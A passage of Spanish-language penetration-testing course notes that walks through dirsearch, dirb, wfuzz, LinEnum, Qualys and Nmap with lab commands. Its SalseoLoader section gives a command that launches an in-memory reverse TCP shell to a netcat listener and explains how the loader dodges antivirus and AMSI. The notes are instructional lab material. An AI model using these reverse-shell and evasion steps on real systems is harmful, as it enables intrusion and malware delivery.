https://github.com/maurosoria/dirsearch#options

Usage: dirsearch.py [-u|--url] target [-e|--extensions] extensions


[options]
Options:

--version show program's version number and exit

-h, --help show this help message and exit

Mandatory:

-u URL, --url=URL Target URL(s), support multiple flags

-l FILE, --url-file=FILE

URL list file

--stdin Read URL(s) from STDIN

--cidr=CIDR Target CIDR

--raw=FILE Load raw HTTP request from file (use `--scheme` flag

to set the scheme)

-s SESSION_FILE, --session=SESSION_FILE

Session file

-e EXTENSIONS, --extensions=EXTENSIONS

Extension list separated by commas (e.g. php,asp)

-X EXTENSIONS, --exclude-extensions=EXTENSIONS

Exclude extension list separated by commas (e.g.

asp,jsp)

-f, --force-extensions

Add extensions to every wordlist entry. By default

dirsearch only replaces the %EXT% keyword with

extensions

--config=FILE Full path to config file, see 'default.conf' for

example (Default: default.conf)

Dictionary Settings:

-w WORDLIST, --wordlists=WORDLIST

Customize wordlists (separated by commas)

--prefixes=PREFIXES

Add custom prefixes to all wordlist entries (separated

by commas)

--suffixes=SUFFIXES

Add custom suffixes to all wordlist entries, ignore

directories (separated by commas)

Página 58 de 141
--only-selected Remove paths have different extensions from selected

ones via `-e` (keep entries don't have extensions)

--remove-extensions

Remove extensions in all paths (e.g. admin.php ->

admin)

-U, --uppercase Uppercase wordlist

-L, --lowercase Lowercase wordlist

-C, --capital Capital wordlist

General Settings:

-t THREADS, --threads=THREADS

Number of threads

-r, --recursive Brute-force recursively

--deep-recursive Perform recursive scan on every directory depth (e.g.

api/users -> api/)

--force-recursive Do recursive brute-force for every found path, not

only directories

-R DEPTH, --max-recursion-depth=DEPTH

Maximum recursion depth

--recursion-status=CODES

Valid status codes to perform recursive scan, support

ranges (separated by commas)

--subdirs=SUBDIRS Scan sub-directories of the given URL[s] (separated by

commas)

--exclude-subdirs=SUBDIRS

Exclude the following subdirectories during recursive

scan (separated by commas)

-i CODES, --include-status=CODES

Include status codes, separated by commas, support

ranges (e.g. 200,300-399)

-x CODES, --exclude-status=CODES

Exclude status codes, separated by commas, support

ranges (e.g. 301,500-599)

--exclude-sizes=SIZES

Exclude responses by sizes, separated by commas (e.g.

0B,4KB)

--exclude-texts=TEXTS

Exclude responses by texts, separated by commas (e.g.

'Not found', 'Error')

Página 59 de 141
--exclude-regex=REGEX

Exclude responses by regex (e.g. '^Error$')

--exclude-redirect=STRING

Exclude responses if this regex (or text) matches

redirect URL (e.g. '/index.html')

--exclude-response=PATH

Exclude responses similar to response of this page,

path as input (e.g. 404.html)

--skip-on-status=CODES

Skip target whenever hit one of these status codes,

separated by commas, support ranges

--min-response-size=LENGTH

Minimum response length

--max-response-size=LENGTH

Maximum response length

--redirects-history

Show redirects history

--max-time=SECONDS Maximum runtime for the scan

--full-url Full URLs in the output (enabled automatically in

quiet mode)

--no-color No colored output

-q, --quiet-mode Quiet mode

Request Settings:

-m METHOD, --http-method=METHOD

HTTP method (default: GET)

-d DATA, --data=DATA

HTTP request data

--data-file=DATA_FILE

File contains HTTP request data

-H HEADERS, --header=HEADERS

HTTP request header, support multiple flags

--header-file=FILE File contains HTTP request headers

-F, --follow-redirects

Follow HTTP redirects

--random-agent Choose a random User-Agent for each request

--auth=CREDENTIAL Authentication credential (e.g. user:password or

bearer token)

--auth-type=TYPE Authentication type (basic, digest, bearer, ntlm, jwt,

Página 60 de 141
oauth2)

--user-agent=USERAGENT

--cookie=COOKIE

Connection Settings:

--timeout=TIMEOUT Connection timeout

--delay=DELAY Delay between requests

--proxy=PROXY Proxy URL, support HTTP and SOCKS proxies (e.g.

localhost:8080, socks5://localhost:8088)

--proxy-file=FILE File contains proxy servers

--proxy-auth=CREDENTIAL

Proxy authentication credential

--replay-proxy=PROXY

Proxy to replay with found paths

--tor Use Tor network as proxy

--scheme=SCHEME Scheme for raw request or if there is no scheme in the

URL (Default: auto-detect)

--max-rate=RATE Max requests per second

--retries=RETRIES Number of retries for failed requests

--ip=IP Server IP address

--exit-on-error Exit whenever an error occurs

Output:

-o FILE, --output=FILE

Output file

--format=FORMAT Report format (Available: simple, plain, json, xml,

md, csv, html, sqlite)

--log=FILE Log file

Esta herramienta es muy usada para aplicaciones web, donde nosotros podemos realizar fuerza
bruta de directorios en un servidor web.

Página 61 de 141
Desde la consola de Kali, primero se hace cd dirsearch/ y ls para ver el contenido (imagen
90).

Imagen 90

Luego, se hace python3 dirsearch.py -h, viéndose distintos parámetros (imagen 91)
para poder hacer fuerza bruta al directorio/a los directorios de nuestro aplicativo web.

Imagen 91

Se hace una prueba haciendo fuerza bruta al directorio de nuestro servidor apache localmente.
Para ello, se pone:
python3 dirsearch.py -e txt,php,html -u http://192.168.1.150 -t
15 -w /usr/share/wordlists/dirb/common.txt

-e → para indicar las extensiones que queremos buscar

-u → La ruta/la página web a la cual queremos hacer fuerza bruta al directorio

Página 62 de 141
-t → Los hilos. Puede entenderse como la velocidad

-w → Para indicar el diccionario. Kali trae diferentes diccionarios con los cuales se puede
trabajar. Están en /usr/share/wordlists/dirb (imagen 92)

Imagen 92

Uno de estos diccionarios es common.txt. En el vídeo se hace cat common.txt | more


(imagen 94). Se ve que tiene diferentes nombres de directorios y posibles nombres de ficheros.

Imagen 93

Imagen 94

Al ejecutar el comando python3 dirsearch.py -e txt,php,html -u


http://192.168.1.150 -t 15 -w
/usr/share/wordlists/dirb/common.txt se comienza a hacer fuerza bruta al
directorio o al servidor web en busca de los diferentes posibles ficheros que pueda encontrar.

Página 63 de 141
Imagen 95

A continuación, se accede a los distintos directorios que se han encontrado (imagen 96).

Imagen 96

Se accede al server-status (192.168.1.150/server-status) (imagen 97).

Imagen 97

Página 64 de 141
Se accede a index.html (192.168.1.150/index.html) (imagen 98).

Imagen 98

Se accede al directorio javascript (192.168.1.150/javascript/) (imagen 99). Aunque dice que no


se puede listar, sí existe.

Imagen 99

dirsearch es una herramienta muy versátil de cara a cuando queremos intentar buscar
directorios o posibles rutas para acceder a la información.

Otras opciones que se pueden agregar al comando python3 dirsearch.py

-s → Que tenga un delay, que la petición vaya cada X segundos.

--random-agent → En cada petición va un User-Agent que identifica el navegador. De esta


manera, se simulan peticiones con diferentes navegadores.

dirb

Es otra herramienta, que no está nombrada en la diapositiva, pero que es igual. Se trata de dirb

https://www.kali.org/tools/dirb/ → Scan the web server (http://192.168.1.224/) for directories


using a dictionary file (/usr/share/wordlists/dirb/common.txt).

En el video se ejecuta:
dirb http://192.168.1.150

Página 65 de 141
Imagen 100

Wfuzz: The Web fuzzer

https://wfuzz.readthedocs.io/en/latest/#

Wfuzz provides a framework to automate web applications security assessments and could help
you to secure your web applications by finding and exploiting web application vulnerabilities.

Wfuzz proporciona un marco para automatizar las evaluaciones de seguridad de las aplicaciones
web y podría ayudarle a proteger sus aplicaciones web encontrando y explotando las
vulnerabilidades de las mismas.

En el vídeo se ejecuta wfuzz -h para ver las opciones (imagen 101).

Imagen 101

Página 66 de 141
LinEnum.sh

https://github.com/rebootuser/LinEnum

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

Imagen 102

LinEnum.sh es una herramienta muy utilizada para explotación. Por ejemplo, cuando nosotros
ya tenemos acceso a un sistema operativo y queremos ver qué podemos hacer en él o qué
ficheros tiene mal configurado, ejecutamos la herramienta LinEnum.sh

Primeramente, en el vídeo se muestra el contenido del directorio


/Desktop/tool/LinEnum (imagen 103).

Imagen 103

Y luego se hace:

./LinEnum.sh (imagen 104 y 105)

Imagen 104

Página 67 de 141
Imagen 105

Y esto lo que va a hacer es un recorrido por todo nuestro sistema operativo indicándonos
posibles configuraciones, aplicaciones que tengamos instaladas, por ejemplo, si tenemos con un
usuario o con un usuario con pocos privilegios si podemos ejecutar cosas con sudo, qué
permisos tenemos en el fichero /etc/passwd (si por ejemplo pudiéramos escribir o
sobrescribirlo), si el fichero /etc/shadow puede ser leído por un usuario que no sea root
(imagen 106).

Imagen 106

Entonces, todo esto nos va a dar una serie de información de nuestro sistema operativo. Siempre
que tenemos acceso a un sistema, hacemos este paso de manera manual o utilizamos este tipo
de herramientas que nos facilita con una ejecución tener mucha información del sistema
operativo.

Página 68 de 141
Información que se incluye:

/lib/systemd/* config file permissions

Contents of /etc/xinetd.conf

When were jobs last executed (/var/spool/anacron contents)

Listening TCP

ICA0011-S04-C01-V02-Escaneres automaticos y herramientas de penetracion_3


(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111818)

SalseoLoader

https://github.com/Hackplayers/Salsa-tools

Imagen 107

Argumentos de SalseoLoader:
.\SalseoLoader_x86.exe password .\payload.txt reversetcp
192.168.1.100 443

SalseoLoader es una herramienta creada por un compañero que juega con nosotros en un
equipo de Hack The Box que lo presentó en el congreso de H-c0n - H-C0N : HACKPLAYERS'
HACKING CONFERENCE (https://www.h-c0n.com/p/home.html).

Cuando nosotros utilizamos esta herramienta podemos conseguir hacer un baipás a la


protección que implementó Windows en 2018/2019 contra la ejecución de scripts, evitando que
se pudieran ejecutar determinadas acciones a través de una consola de PowerShell.

Con este binario creado por Luis Vacas de Santos, lo que se consigue es realizar un baipás a esta
protección implementada por Windows donde nosotros también podemos conseguir un baipás
de muchos de los antivirus porque todo esto se ejecuta siempre en memoria, y no vamos a tocar
disco.

Casi todos los antivirus cuando analizan o verifican algo es cuando nosotros hemos escrito o
hemos llevado un fichero a una determinada ruta, que pueda ser más o menos potencial[mente
peligrosa]. Muchos antivirus implementan el tema de heurística/comportamiento y
ven/trabajan con la memoria, pero no todos los antivirus lo hacen. A excepción de los de última
generación.

Página 69 de 141
Para poder utilizar SalseoLoader, tenemos que ir al GitHub de Hackplayers:
https://github.com/Hackplayers/Salsa-tools y clonar el repositorio.

Vamos a tener que compilar una DLL. Y nos crea un binario, bien en x86 o x64, donde nosotros
vamos a integrar una contraseña de ejecución de este .exe

¿Por qué indicamos nosotros una contraseña? Porque así cada vez que nosotros queramos
ejecutarlo podemos cambiar esta contraseña y los antivirus, cuando vayan a intentar verlo, si no
están mirando el comportamiento van a ver que cada vez se envía una contraseña cifrada en
RC4 y no van a ser capaz de desencriptarla, con lo cual vamos a poder obtener una consola ya
ejecutándose en memoria y que ya nos permite una serie de funcionalidades.

Ahora, en el vídeo, en Windows PowerShell se hace ls desde


C:\Users\franky\Desktop\funciones\demo\funciones, mostrándose el
contenido del directorio (imagen 108).

Imagen 108

SalseoLoader_x86.exe → Es un binario

elfuckingmal.txt → Es un fichero que contiene caracteres raros; que esto está cifrado
(imagen 109).

Imagen 109

Página 70 de 141
Le vamos a indicar el tipo de Shell que nosotros vamos a querer enviarnos y con la contraseña
que nosotros lo hemos compilado.

Entonces, se ejecuta el siguiente comando:


.\SalseoLoader_x86.exe hc0n-2019 .\elfuckingmail.txt reversetcp
192.168.1.150 1234

Imagen 110

Entonces:

.\SalseoLoader_x86.exe → Ejecutamos el .exe

hc0n-2019 → Con la contraseña con el que lo hemos compilado

.\elfuckingmal.txt → El fichero que es la password con todos esos caracteres raros que
hemos visto cifrados en RC4

reversetcp → Lo que queremos es enviarnos una Reverse Shell en TCP

192.168.1.150 → IP de la máquina Kali

1234 → Al puerto 1234

Reverse Shell significa que desde esta máquina nos vamos a conectar a la máquina donde vamos
a estar escuchando.

En Kali nos ponemos a la escucha con nc -vlp 1234 (imagen 111).

Imagen 111

Página 71 de 141
Se ejecuta SalseoLoader en Windows PowerShell (imagen 112). Todo lo de SalseoLoader se
ejecuta en la memoria sin que toque disco.

Imagen 112

Ahora, en Kali Linux tenemos automáticamente una Shell enviada y ya preparcheando Windows
antimalware Scan Interface (AMSI) (imagen 113).

Imagen 113

ICA0011-S04-C01-V03-Qualys
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111819)

En este video, Qualys, se ve:

1. Qualys

Imagen 114

Página 72 de 141
Qualys es una herramienta muy usada en entornos empresariales.

Qualys

En la imagen 115 se ve cómo veríamos nosotros lo que es una máquina virtual de Qualys, un
appliance, que es por el cual nosotros vamos a poder realizar los diferentes escaneos a nuestra
infraestructura. Todo esto es gestionado a través de un dashboard que seguidamente veremos.
Y hay otra funcionalidad que nosotros por ejemplo podemos gestionar los endpoints o los
equipos a través de un agente, que es un programita que se instala en cada uno de los equipos,
y se conecta con nuestro dashboard.

Imagen 115

Primero hay que acceder a la URL de acceso a nuestro Tenant o dashboard que nos facilita
Qualys. Es una herramienta de pago que se suele utilizar en los entornos empresariales.

Imagen 116

Página 73 de 141
Una vez que estamos autenticados, en la imagen 117 se ve la primera pantalla que nos
encontramos una vez que hemos accedido al dashboard de un gestor de vulnerabilidades como
es Qualys.

Imagen 117

En Vulnerability Management se pueden ver los diferentes módulos que nos facilita Qualys,
como:

INFRAESTRUCTURE SECURITY (2)

Vulnerability Management

Threat Protection

IT OPERATIONS (2)

AssetView → Visibilidad de los equipos

Global IT Asset Inventory → Inventariado, junto con las aplicaciones que puedan
llegar a tener instalados los equipos, dependiendo de si tenemos un agente
instalado en los endpoints

COMPLIANCE (2) → En esta parte se rige sobre ciertas normativas, como la PCI o temas
de la ISO 27 001

Policy Compliance

PCI Compliance

SENSOR MANAGEMENT (1) → Podemos controlar e instalar agentes en entornos cloud,


tanto de Azure, AWS como Google Cloud

Cloud Agent

UTILITIES

Página 74 de 141
Administration → Área de Administración. Podemos usar para la gestión de los
usuarios que van a acceder a nuestra plataforma, y van a poder realizar
diferentes acciones dentro de la plataforma.

Imagen 118

Se accede a Asset Overview, y se dice previamente había realizado un escaneo y vamos a ver
cómo se mostrarían estos dashboard de cara a la gestión y al manejo de las vulnerabilidades que
pueda tener un equipo. Por ejemplo, se ve que se ha escaneado un Windows 2012 (imagen 119).

Imagen 119

Y si se pincha dentro de él, se indica su nombre, IP… Cabe destacar que si tuviéramos un agente
instalado en esta máquina (el Windows 2012), obtendríamos mucha más información, como el
software instalado (Installed Software). En Vulnerabilities se ven las vulnerabilidades
encontradas, con su Severity (también se da información sobre las vulnerabilidades y los
parches).

Posteriormente, se accede a Global IT Asset Inventory. Esto mostraría un inventario de todas las
máquinas de nuestra organización. Tendríamos un control y podríamos filtrar; por ejemplo:

Página 75 de 141
quiero que me digas los Windows 7 que hay con vulnerabilidades en la compañía; o quiero ver la
gente que tiene este software instalado porque es vulnerable. Es decir, a simple vista se tiene
mucha información y control sobre las vulnerabilidades y cómo se van parcheando dichas
vulnerabilidades.

Luego, Qualys tiene un acuerdo con ciertas empresas de que cuando parchean algo
automáticamente ellos reciben las firmas casi que 5 días antes que otras aplicaciones.

Posteriormente, desde Global IT Asset Inventory se accede a INVENTORY → servidor.cerealto.ad


(que es la máquina; el ASSET) → Y aquí al final vemos la misma información que veíamos
anteriormente, pero podríamos ir filtrando (imagen 120).

Imagen 120

¿Cómo realizamos nosotros un escaneo en Qualys? Tenemos diferentes formas. Los escaneos
los podemos hacer a través de una appliance, que es una máquina virtual que ahora se ve cómo
es, o instalando un agente como se ha indicado anteriormente. Lo más recomendable siempre
es instalar un agente, porque se va a poder obtener mucha más información y más precisa sobre
cada equipo de la organización. Si no se puede instalar un agente (por ejemplo, porque la
organización no lo permite), pues al final se va a tener que usar un appliance que tenga
visibilidad para toda la red.

¿Cómo instalamos nosotros un appliance? Primeramente, en el vídeo se clica en Vulnerability


Management → Appliances (imagen 121).

Imagen 121

Seguidamente, se clica en New → Virtual Scanner Appliance…, abriéndose la ventana Add New
Virtual Scanner. Luego, habría que seguir los pasos señalados (imagen 122).

Página 76 de 141
Imagen 122

Seguidamente, se enseña una máquina virtual en VMware (imagen 123), aunque la imagen
puede ser para VirtualBox, para VMware, para QEMU, para Hyper-V…

Imagen 123

Nosotros automáticamente configuraríamos aquí (en la máquina virtual con Qualys) una IP (o
bien por protocolo DHCP, que la asignara). Este equipo automáticamente, una vez que se ha
activado, y se ha actualizado completamente, aquí (en Vulnerability Management → Appliances
→ New → Virtual Scanner Appliance) nos aparece el icono de que se ha conectado (en este caso
la Appliance se llama Prueba_2). Si pinchamos en él nos dice que está conectado (Connected).
También se muestra otra información, como Owner, ID… Cada 180 segundos se hacen peticiones
de conexión para saber si está activo (Polling).

Imagen 124

Si se le da al botón Actions, ubicado en la derecha, aparecen las opciones Info, Edit y Delete. Si
se le da a Info se obtiene información más detallada (imagen 125).

Página 77 de 141
Imagen 125

Si nosotros quisiéramos realizar un escaneo a través del appliance, se le daría a Scans → New
→ Scan (abriéndose la ventana Launch Vulnerability Scan). Pondríamos un Title, en Scanner
Appliance seleccionaríamos el appliance con el cual queremos realizar el escaneo (en este caso,
Prueba_2), y en IPs/Ranges indicaríamos los rangos de IPs que nosotros queremos escanear.

Finalmente, le daríamos a Launch y realizaría el escáner.

Nota: También se pueden generar diferentes grupos con diferentes máquinas para realizar
periódicamente una serie de escaneos [probablemente a través de Asset Groups - Grupos de
activos].

Imagen 126

Página 78 de 141
En el vídeo se hace clic en Launch, apareciendo la ventana Launch Scan (imagen 127).
Seguidamente, se le da a Add…

Imagen 127

… Luego a OK (imagen 128)…

Imagen 128

En el apartado Scans se ve que el escáner está Status Queued (En cola) (imagen 129).

Imagen 129

Cuando finalice, si se le da a View Results se puede ver el reporte generado.

Por otra parte, en Schedules podemos generar tareas programadas para realizar diferentes
escaneos (imagen 130).

Imagen 130

Página 79 de 141
Y hasta aquí Qualys. Como podemos ver, es una herramienta muy versátil, muy usada hoy día
en entornos empresariales para la gestión y el ciclo de vida de las vulnerabilidades. Es una
herramienta que no se puede obtener gratis, pero si el día de mañana trabajáis en seguridad,
seguramente os encontraréis con herramientas similares a Qualys y el tratamiento de gestión,
cambiando los menús y dashboards, casi todas al final hacen lo mismo.

ICA0011-S04-C01-V04 - Nmap
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111820)

En este video, NMAP, se ve:

1. Nmap
2. Tipos de escaneos
3. Comandos básicos
4. Scripts

Imagen 131

Nmap

¿Qué es Nmap?

Es una herramienta multiplataforma. Disponible en Windows, Mac y Linux.

Detecta posibles vulnerabilidades.

Nos permite analizar y detectar qué puertos tiene abiertos una máquina. Aparte de qué puertos
tiene abierta una máquina, nos permite identificar qué servicio es el que está detrás de ese
puerto, independientemente si está en el 60000, en el 1, en el 20 o en el 40.

Página 80 de 141
Imagen 132

Página web oficial de Nmap: https://nmap.org/

Descargas: https://nmap.org/download

En el vídeo se instala en Kali Linux, por lo que desde la Terminal se usa el comando apt-get
install -y nmap (imagen 133).

Nótese que:

apt-get - APT (Advanced Package Tool // Herramienta avanzada de paquetes) package


handling utility - command-line interface // utilidad de gestión de paquetes - interfaz de línea
de comandos
install pkg(s)

This option is followed by one or more packages desired for installation. Each package is a
package name, not a fully qualified filename // Esta opción va seguida de uno o varios paquetes
que se desean instalar. Cada paquete es un nombre de paquete, no un nombre de archivo
completo

-y, --yes, --assume-yes

Automatic yes to prompts. Assume "yes" as answer to all prompts and run non-interactively. If
an undesirable situation, such as changing a held package or removing an essential package,
occurs then apt-get will abort. // Sí automático a las preguntas. Asume "sí" como respuesta a
todas las preguntas y se ejecuta de forma no interactiva. Si se produce una situación no deseada,
como el cambio de un paquete retenido o la eliminación de un paquete esencial, apt-get
abortará.

Imagen 133

La documentación que trae Nmap es muy buena. Para ver las flags:
https://nmap.org/book/port-scanning-options.html // https://nmap.org/man/es/man-
briefoptions.html En el vídeo se explican algunas flags; las más importantes.

Página 81 de 141
Tipos de Escaneos

La imagen 134 muestra los diferentes tipos de escaneos que hay.

Imagen 134

Los que suelo utilizar son:

-sS → SynScan. No realiza una conexión TCP completa, por eso se dice que es más
rápido.

-sT → Analiza los puertos TCP, pero sí necesita que se realice una conexión completa
TCP. Por eso es un pelín más lento, pero es más fiable.

-sU → Para los puertos UDP utilizaríamos el -sU.

Luego tenemos infinidades de flags diferentes, cada uno con una determinada acción. Esto al
final lo vamos a utilizar dependiendo del escenario en el cual nos encontremos. En determinados
momentos utilizaremos una u otra, pero normalmente vamos a utilizar las genéricas.

TCP Scan (Connect Scan) -sT

Si se ve la imagen 135:

El atacante envía un SYN Packet + Port (n)

El target responde con un SYN/ACK Packet

El atacante vuelve a responder con un ACK + RST

Esto es la comunicación vía a nivel de red. Si nosotros nos ponemos con Wireshark, esto es lo
que nosotros vamos a ver por cada intento de averiguar el puerto que tiene disponible la víctima.

Para hacer un ejemplo sería (imagen 135):


nmap -sT ip/rango_ip

Página 82 de 141
Imagen 135

A continuación, en la consola de Kali Linux se pone:


nmap -sT -T4 localhost

-T4 tiene que ver con el control de tiempo y rendimiento (https://nmap.org/man/es/man-


performance.html):

Nmap ofrece un acercamiento más sencillo, basado en seis plantillas de tiempos. Puede
especificar cualquiera de éstas con la opción -T seguido de un número o su nombre. Los nombres
de las plantillas son: paranoico (0), sigiloso (1), amable (2), normal (3), agresivo (4) y loco (5)
(respectivamente "paranoid", "sneaky", "polite", "normal", "aggressive" e "insane", N. de. T.).
Las primeras dos se utilizan para evadir IDS. El modo amable reduce el sondeo para que éste
utilice menos ancho de banda y menos recursos de los sistemas analizados. El modo normal es
el valor por omisión, así que la opción -T3 no hace nada realmente. El modo agresivo hace que
los sondeos sean más rápidos al asumir que está en una red razonablemente más rápida y fiable.
En modo loco asume que está en una red extraordinariamente rápida o que está dispuesto a
sacrificar fiabilidad por velocidad.

Estas plantillas permiten que el usuario especifique cuan agresivo quiere ser, al mismo tiempo
que deja que sea Nmap el que escoja los valores exactos de tiempos. Las plantillas hacen también
algunos ajustes menores de velocidad para los cuales no existe aún una opción de control de
grano fino. Por ejemplo, -T4 prohíbe que la expiración en sondeos dinámicos exceda los 10ms
para puertos TCP y -T5 limita ese valor a 5 milisegundos. Las plantillas pueden utilizarse
combinadas con controles de grano fino, siempre que se especifique primero la plantilla. Si no lo
hace así los valores especificados por la plantilla modificarán los valores que defina como opción.
Le recomiendo utilizar -T4 cuando sondee redes razonablemente modernas y fiables. Mantenga

Página 83 de 141
esa opción al principio de la línea de órdenes aun cuando especifique otras opciones de control
de grano fino para poder beneficiarse de las optimizaciones menores que activa.

Le recomiendo que empiece siempre con -T4 si está utilizando una conexión de banda ancha o
conexión Ethernet decente. Algunas personas adoran la opción -T5 aunque es demasiado
agresiva para mi gusto. Otras personas especifican la opción -T2 porque piensan que es menos
probable que bloqueen sistemas o porque se consideran a sí mismos amables en general. Muchas
veces no se dan cuenta de lo lenta que -T Polite es realmente. Su sondeo puede llegar a
tardar diez veces más que un sondeo por omisión. Dado que las caídas de sistemas y problemas
de ancho de banda son raros con las opciones de tiempos por omisión (-T3), lo recomiendo
habitualmente para las personas cuidadosas. Para reducir estos problemas es más efectivo
omitir la detección de versiones que jugar con los valores de tiempos.

Mientras que puede ser útil evitar alarmas de IDS con -T0 y -T1, éste tardará mucho más
tiempo para sondear miles de sistemas o puertos. Para este tipo de sondeos puede que prefiera
fijar los valores exactos de tiempos que necesita antes que utilizar los valores predefinidos para
-T0 y -T1.

Tras ejecutar nmap -sT -T4 localhost en Kali Linux, se ve que se tiene abierto el puerto
111/tcp y el 3001/tcp (en este último caso aparece como SERVICE nessus, que es otro
framework para poder realizar escaneos de vulnerabilidades) (imagen 136).

Imagen 136

Página 84 de 141
SynScan (Half-Scan) -sS

Si nos fijamos en la parte de la izquierda de la imagen 137, para identificar que tenemos un
puerto abierto:

Bill (atacante) envía un SYN (Port 80)

Sheela (víctima) responde con un SYN + ACK

Bill (atacante) responde con un RST

Si esta comunicación se efectúa de esta forma, se establece que el puerto está abierto.

En la parte derecha de la imagen 137 se ve qué ocurre para determinar que el puerto está
cerrado:

Bill (atacante) envía un SYN (Port 80)

Sheela (víctima) responde con un RST


nmap -sS ip/rango_ip

Imagen 137

Página 85 de 141
Primeramente, desde la consola de Kali Linux se pone nmap -sS -T4 localhost (imagen
138).

Imagen 138

No obstante, la mayor rapidez que ofrece -sS se nota más cuando se analiza un rango
completo. Entonces, en la consola de Kali Linux se pone: nmap -sS -T4 192.168.1.0/24
(imagen 139).

Imagen 139

Página 86 de 141
ACK Scan -sA

Para determinar que el puerto no está filtrado —es decir, que está abierto— se envía un ACK, y
si se responde con un RST el puerto está abierto.

Si se envía un ACK y no hay respuesta, automáticamente se determina que el puerto está


cerrado.
nmap -sA ip/rango_ip

Imagen 140

En la consola de Kali Linux se pone: nmap -sA -T4 localhost (imagen 141).

Imagen 141

Aunque el vídeo se dice: yo nunca uso -sA (ACK Scan). Yo siempre uso:

-sT TCP Scan (Connect Scan)

-sS SynScann (Half-Scan)

-sU UDP

A continuación, en la consola de Kali Linux se hace un ejemplo con -sU, poniéndose: nmap -
sU localhost -T4 (imagen 142). Se ve que se tiene abierto el puerto 68/udp (aunque
luego se indica que este es un falso positivo) y 111/udp

Página 87 de 141
Imagen 142

También se ejecuta este comando: nmap -sU localhost -T4 --open, indicándose que
el puerto 68/udp es un falso positivo.

Imagen 143

ICA0011-S04-C01-V04 - Nmap_2
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111821)

Comandos básicos

Ahora se ven algunos de los comandos básicos que podemos usar con Nmap.

Intensidad del escaneo. De T0 (el más lento) al T5 (el más rápido).

Parámetros o flags que podemos usar (https://nmap.org/man/es/man-briefoptions.html /


https://nmap.org/book/man-port-specification.html / https://nmap.org/book/man-host-
discovery.html):

DETECCIÓN DE SISTEMA OPERATIVO

-O: Activar la detección de sistema operativo (SO)

DETECCIÓN DE SERVICIO/VERSIÓN:

-sV: Sondear puertos abiertos, para obtener información de servicio/versión

Más información en https://nmap.org/man/es/man-version-detection.html

MISCELÁNEO:

-A: Habilita la detección de SO y de versión

Página 88 de 141
En el vídeo se dice que con -A se envía -sV -O -sC

-sC tiene que ver con Nmap Scripting Engine (https://nmap.org/book/nse-usage.html /


https://nmap.org/book/man-nse.html). -sC es para enviar los scripts por defecto de la base de
datos de Nmap.

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It
allows users to write (and share) simple scripts (using the Lua programming language) to
automate a wide variety of networking tasks. Those scripts are executed in parallel with the
speed and efficiency you expect from Nmap. Users can rely on the growing and diverse set of
scripts distributed with Nmap, or write their own to meet custom needs.

While NSE has a complex implementation for efficiency, it is strikingly easy to use. Simply
specify -sC to enable the most common scripts. Or specify the --script option to choose
your own scripts to execute by providing categories, script file names, or the name of
directories full of scripts you wish to execute. You can customize some scripts by providing
arguments to them via the --script-args and --script-args-file options. The --
script-help shows a description of what each selected script does. The two remaining
options, --script-trace and --script-updatedb, are generally only used for script
debugging and development. Script scanning is also included as part of the -A (aggressive
scan) option.

El motor de scripts de Nmap / Nmap Scripting Engine (NSE) es una de las características más
potentes y flexibles de Nmap. Permite a los usuarios escribir (y compartir) scripts sencillos
(utilizando el lenguaje de programación Lua) para automatizar una amplia variedad de tareas
de red. Estos scripts se ejecutan en paralelo con la velocidad y eficiencia que se espera de Nmap.
Los usuarios pueden confiar en el creciente y diverso conjunto de scripts que se distribuyen con
Nmap, o escribir los suyos propios para satisfacer necesidades personalizadas.

Aunque NSE (Nmap Scripting Engine) tiene una implementación compleja para la eficiencia, es
sorprendentemente fácil de usar. Basta con especificar -sC para activar los scripts más
comunes. O especifique la opción --script para elegir sus propios scripts a ejecutar
proporcionando categorías, nombres de archivos de script o el nombre de directorios llenos de
scripts que desee ejecutar. Puede personalizar algunos scripts proporcionándoles argumentos
mediante las opciones --script-args y --script-args-file. La opción --script-
help muestra una descripción de lo que hace cada script seleccionado. Las dos opciones
restantes, --script-trace y --script-updatedb, se utilizan generalmente sólo para
la depuración y el desarrollo de scripts. La exploración de scripts (Script scanning) también se
incluye como parte de la opción -A (exploración agresiva/aggressive scan).

ESPECIFICACIÓN DE PUERTOS Y ORDEN DE ANÁLISIS:

-p <rango de puertos>: Sólo sondear los puertos indicados

PORT SPECIFICATION AND SCAN ORDER - ESPECIFICACIÓN DE PUERTOS Y ORDEN DE


EXPLORACIÓN
--top-ports <n>

Scans the <n> highest-ratio ports found in nmap-services file after excluding all ports specified
by --exclude-ports. <n> must be 1 or greater.

Página 89 de 141
Analiza los <n> puertos más altos encontrados en el archivo nmap-services después de excluir
todos los puertos especificados por --exclude-ports. <n> debe ser 1 o mayor.

SALIDA:

-v: Aumentar el nivel de mensajes detallados (-vv para aumentar el efecto)

Host Discovery

-Pn (No ping)

This option skips the host discovery stage altogether. Normally, Nmap uses this stage to
determine active machines for heavier scanning and to gauge the speed of the network. By
default, Nmap only performs heavy probing such as port scans, version detection, or OS detection
against hosts that are found to be up. Disabling host discovery with -Pn causes Nmap to attempt
the requested scanning functions against every target IP address specified. So if a /16 sized
network is specified on the command line, all 65,536 IP addresses are scanned. Proper host
discovery is skipped as with the list scan, but instead of stopping and printing the target list,
Nmap continues to perform requested functions as if each target IP is active. Default timing
parameters are used, which may result in slower scans. To skip host discovery and port scan,
while still allowing NSE to run, use the two options -Pn -sn together.

For machines on a local ethernet network, ARP scanning will still be performed (unless --disable-
arp-ping or --send-ip is specified) because Nmap needs MAC addresses to further scan target
hosts. In previous versions of Nmap, -Pn was -P0 and -PN.

Esta opción omite la etapa de descubrimiento de hosts por completo. Normalmente, Nmap
utiliza esta etapa para determinar los equipos activos para un sondeo más pesado y para medir
la velocidad de la red. Por defecto, Nmap sólo realiza sondeos más pesados como son los
escaneos de puertos, la detección de versiones o la detección del sistema operativo contra los
equipos que se encuentran activos. Si se desactiva el descubrimiento de hosts con -Pn, Nmap
intentará realizar las funciones de sondeo solicitadas contra cada dirección IP de destino
especificada. Por lo tanto, si se especifica una red de tamaño /16 en la línea de órdenes, se
analizarán las 65.536 direcciones IP. Se omite el descubrimiento de hosts como en el sondeo de
lista, pero en lugar de detenerse e imprimir la lista de objetivos, Nmap continúa realizando las
funciones solicitadas como si cada IP objetivo estuviera activa. Se utilizan los parámetros de
temporización por defecto, lo que puede dar lugar a escaneos más lentos. Para omitir el
descubrimiento de hosts y el escaneo de puertos, mientras se permite la ejecución de NSE, utilice
las dos opciones -Pn -sn juntas.

